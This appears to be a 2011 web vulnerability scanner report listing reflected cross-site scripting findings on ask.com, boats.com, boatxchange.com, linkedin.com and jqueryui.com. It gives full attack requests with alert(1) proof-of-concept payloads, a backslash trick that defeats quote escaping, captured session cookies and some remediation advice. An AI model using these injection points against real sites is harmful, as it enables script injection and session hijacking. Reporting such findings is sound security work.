GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=354d0f5"><script>alert(1)</script>ac92bb32d23&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:26 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the opacityShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8712f"><script>alert(1)</script>835a86cc92c was submitted in the opacityShadow parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=1008712f"><script>alert(1)</script>835a86cc92c&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:28 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the thicknessShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc910"><script>alert(1)</script>7e405cdb2cd was submitted in the thicknessShadow parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2pxfc910"><script>alert(1)</script>7e405cdb2cd&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:28 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the fn request parameter is copied into the HTML document as plain text between tags. The payload 35a86<script>alert(1)</script>8f46cab7f1f was submitted in the fn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the q request parameter is copied into the HTML document as plain text between tags. The payload cb349<script>alert(1)</script>6fcc1d3815a was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the l request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 75dda'%3balert(1)//6d6e34d3af8 was submitted in the l parameter. This input was echoed as 75dda';alert(1)//6d6e34d3af8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ans?qsrc=&o=0&l=dir75dda'%3balert(1)//6d6e34d3af8&q=regulator+boat HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the l request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1afd7'%3balert(1)//178827696e9 was submitted in the l parameter. This input was echoed as 1afd7';alert(1)//178827696e9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pictures?qsrc=167&o=0&l=dir1afd7'%3balert(1)//178827696e9&q=regulator+boat&v=14 HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN"> <html> <head>
...[SNIP]...
var _matchUrl = '/afc-match?q=regulator+boat&page=1&ac=1082&qid=AE64B4C82E8A9CAB1E99DED66206DAB7&qsrc=167&dm=all&qrt=2&lid=5490&o=0&l=dir1afd7';alert(1)//178827696e9';
The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ef4cb\'%3b4d01c24067b was submitted in the q parameter. This input was echoed as ef4cb\\';4d01c24067b in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /pictures?qsrc=167&o=0&l=dir&q=regulator+boatef4cb\'%3b4d01c24067b&v=14 HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the l request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2a2ff'%3balert(1)//060dbcc8357 was submitted in the l parameter. This input was echoed as 2a2ff';alert(1)//060dbcc8357 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pictureslanding?o=0&l=dir2a2ff'%3balert(1)//060dbcc8357 HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8c1c7\'%3bfb820ccc7e7 was submitted in the q parameter. This input was echoed as 8c1c7\\';fb820ccc7e7 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /web?q=Is+there+lead+in+reusable+grocery+bags%3F8c1c7\'%3bfb820ccc7e7&gc=1&qsrc=3066&o=0&l=dir HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: cu.wz=0; gcht=; gc=; tbe=1; accepting=1; user=o=0&l=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjEyOjQzLVVUQw%3D%3D&po=0&pp=dir; gct=; qc=0;
The value of the qid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f0073'%3balert(1)//d6de0c6a20 was submitted in the qid parameter. This input was echoed as f0073';alert(1)//d6de0c6a20 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /web?q=regulator+boat&qsrc=0&frstpgo=0&o=0&l=dir&qid=98661B091CD7946B37C24EBBC344D14Af0073'%3balert(1)//d6de0c6a20&page=2&jss= HTTP/1.1 Host: www.ask.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=252994457.1296155592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gc=; tbe=1; qh=1-cmVndWxhdG9yK2JvYXQ.|cmVndWxhdG9yK2JvYXQrbm9ydGgrY2Fyb2xpbmE.; accepting=1; wz_scnt=1; gct=; puser=pt=VGh1LTI3LUphbi0yMDExLTE5OjE1OjM2LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; ldpt=porg=5488|0~5489|0~5490|1; qc=0; clc=SW5kdXN0cmllcy9UcmFuc3BvcnRhdGlvbl9hbmRfTG9naXN0aWNzL01hcml0aW1lX1RyYW5zcG9ydA..; gcc=U3BvcnRzL1Nwb3J0aW5nX0dvb2Rz; cu.wz=0; gcht=; wz_sid=014DDB4118C033B329ACD8C41BD460F3; wz_uid=0A4EDD4111C033B329ACD8C41BD460F3; __utma=252994457.741105602.1296155592.1296155592.1296155592.1; __utmc=252994457; __utmb=252994457.3.10.1296155592; user=o=0&l=dir;
The value of the yw_country request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e0f7"><script>alert(1)</script>73e292f6ad1 was submitted in the yw_country parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boat-transport/index.jsp?source=yachtworld&yw_country=US6e0f7"><script>alert(1)</script>73e292f6ad1 HTTP/1.1 Host: www.boats.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head><script>var __$1a49={BaseUrl:(("https:"==document.location.protocol)?"https:":"http:")+"//analytics.strangeloopnetworks.com/",Gi ...[SNIP]... <a href="http://www.boats.com/boat-transport/index.jsp?source=yachtworld&yw_country=us6e0f7"><script>alert(1)</script>73e292f6ad1"> ...[SNIP]...
The value of the yw_country request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 33d06'%3balert(1)//ec734b2bd35 was submitted in the yw_country parameter. This input was echoed as 33d06';alert(1)//ec734b2bd35 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /boat-transport/index.jsp?source=yachtworld&yw_country=US33d06'%3balert(1)//ec734b2bd35 HTTP/1.1 Host: www.boats.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload ff2dc<script>alert(1)</script>051e6b7c2ed was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pboats/browse/Makeff2dc<script>alert(1)</script>051e6b7c2ed/Regulator/search.html HTTP/1.1 Host: www.boatxchange.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jan 2011 19:43:53 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8n PHP/5.2.3 mod_jk/1.2.30 Set-Cookie: JSESSIONID=0738E8BB69B4576E7DFEB8F02B3A22A5.tomcat1; Path=/pboats Content-Language: en Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html;charset=ISO-8859-1 Content-Length: 19767
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <?xml version="1.0" encoding="iso-8859-1"?><html xmlns="http://www.w3.org/199 ...[SNIP]... <pre> errorMessage: null Exception: java.lang.RuntimeException: Problem parsing path info:/browse/Makeff2dc<script>alert(1)</script>051e6b7c2ed/Regulator/search.html at com.primo.gnav.mvc.GnavBrowseCommandController.createFilteredCommand(GnavBrowseCommandController.java:189) at com.primo.gnav.mvc.GnavSearchCommandController.handle(GnavSearc ...[SNIP]...
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 631f9<script>alert(1)</script>38d066a2dec was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pboats/browse/Make/Regulator631f9<script>alert(1)</script>38d066a2dec/search.html HTTP/1.1 Host: www.boatxchange.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jan 2011 19:43:54 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8n PHP/5.2.3 mod_jk/1.2.30 Set-Cookie: JSESSIONID=70B1F81A76B600538F4CCDD338B20EB4.tomcat1; Path=/pboats Content-Language: en Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html;charset=ISO-8859-1 Content-Length: 19767
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <?xml version="1.0" encoding="iso-8859-1"?><html xmlns="http://www.w3.org/199 ...[SNIP]... <pre> errorMessage: null Exception: java.lang.RuntimeException: Problem parsing path info:/browse/Make/Regulator631f9<script>alert(1)</script>38d066a2dec/search.html at com.primo.gnav.mvc.GnavBrowseCommandController.createFilteredCommand(GnavBrowseCommandController.java:189) at com.primo.gnav.mvc.GnavSearchCommandController.handle(GnavSearchCommandCo ...[SNIP]...
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload ef1d6<script>alert(1)</script>dbd5bb8b76 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /pboats/browse/Make/Regulator/ef1d6<script>alert(1)</script>dbd5bb8b76 HTTP/1.1 Host: www.boatxchange.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jan 2011 19:43:56 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8n PHP/5.2.3 mod_jk/1.2.30 Set-Cookie: JSESSIONID=EE13D5B4D07CE6426B8A05BBA4EAD214.tomcat1; Path=/pboats Content-Language: en Vary: User-Agent,Accept-Encoding Connection: close Content-Type: text/html;charset=ISO-8859-1 Content-Length: 18869
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <?xml version="1.0" encoding="iso-8859-1"?><html xmlns="http://www.w3.org/199 ...[SNIP]... <pre> errorMessage: null Exception: java.lang.RuntimeException: Problem parsing path info:/browse/Make/Regulator/ef1d6<script>alert(1)</script>dbd5bb8b76 at com.primo.gnav.mvc.GnavBrowseCommandController.createFilteredCommand(GnavBrowseCommandController.java:189) at com.primo.gnav.mvc.GnavSearchCommandController.handle(GnavSearchCommandController.jav ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b47a6'-alert(1)-'f2583992d5c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /secureb47a6'-alert(1)-'f2583992d5c/login HTTP/1.1 Host: www.linkedin.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_MC_QH_MFP=ffffffffaf19965645525d5f4f58455e445a4a42198c; bcookie="v=1&d94e49db-3c23-4a26-a29f-2bc2d85c808d"; JSESSIONID="ajax:2350077440714366421"; leo_auth_token="GST:UJWUmX2WB6UBWvbQG9tU456hlj942-5NnJhAM36W6e3C5Y4NH21kQQ:1296155990:5ed64d4d5f57e19d1092d1eaf1f4a8bd26dd7b76"; visit=G; s_leo_auth_token="delete me"; lang="v=2&lang=en&c=";
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE" Expires: 0 Pragma: no-cache Cache-control: no-cache, must-revalidate, max-age=0 Set-Cookie: leo_auth_token="GST:Z8AO-20Khh1K0OWjw5zaBBzxLBaEbMVjxTAWV7kKsG1Zr1YspMYdVT:1296157810:2b1512b33861e588d824862ae46734c91e6073f9"; Version=1; Max-Age=1799; Expires=Thu, 27-Jan-2011 20:20:09 GMT; Path=/ Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/ Content-Type: text/html;charset=UTF-8 Content-Length: 990 Date: Thu, 27 Jan 2011 19:50:10 GMT Set-Cookie: NSC_MC_QH_MFP=ffffffffaf19965645525d5f4f58455e445a4a421968;expires=Thu, 27-Jan-2011 20:20:19 GMT;path=/;httponly
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 30b6e><script>alert(1)</script>9e5aaf9f068 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 20:59:51 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 63115
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into an HTML comment. The payload 5ada6--><script>alert(1)</script>b8852678aaf was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 21:00:03 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 63481
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload c9ea6<script>alert(1)</script>74d178365e9 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
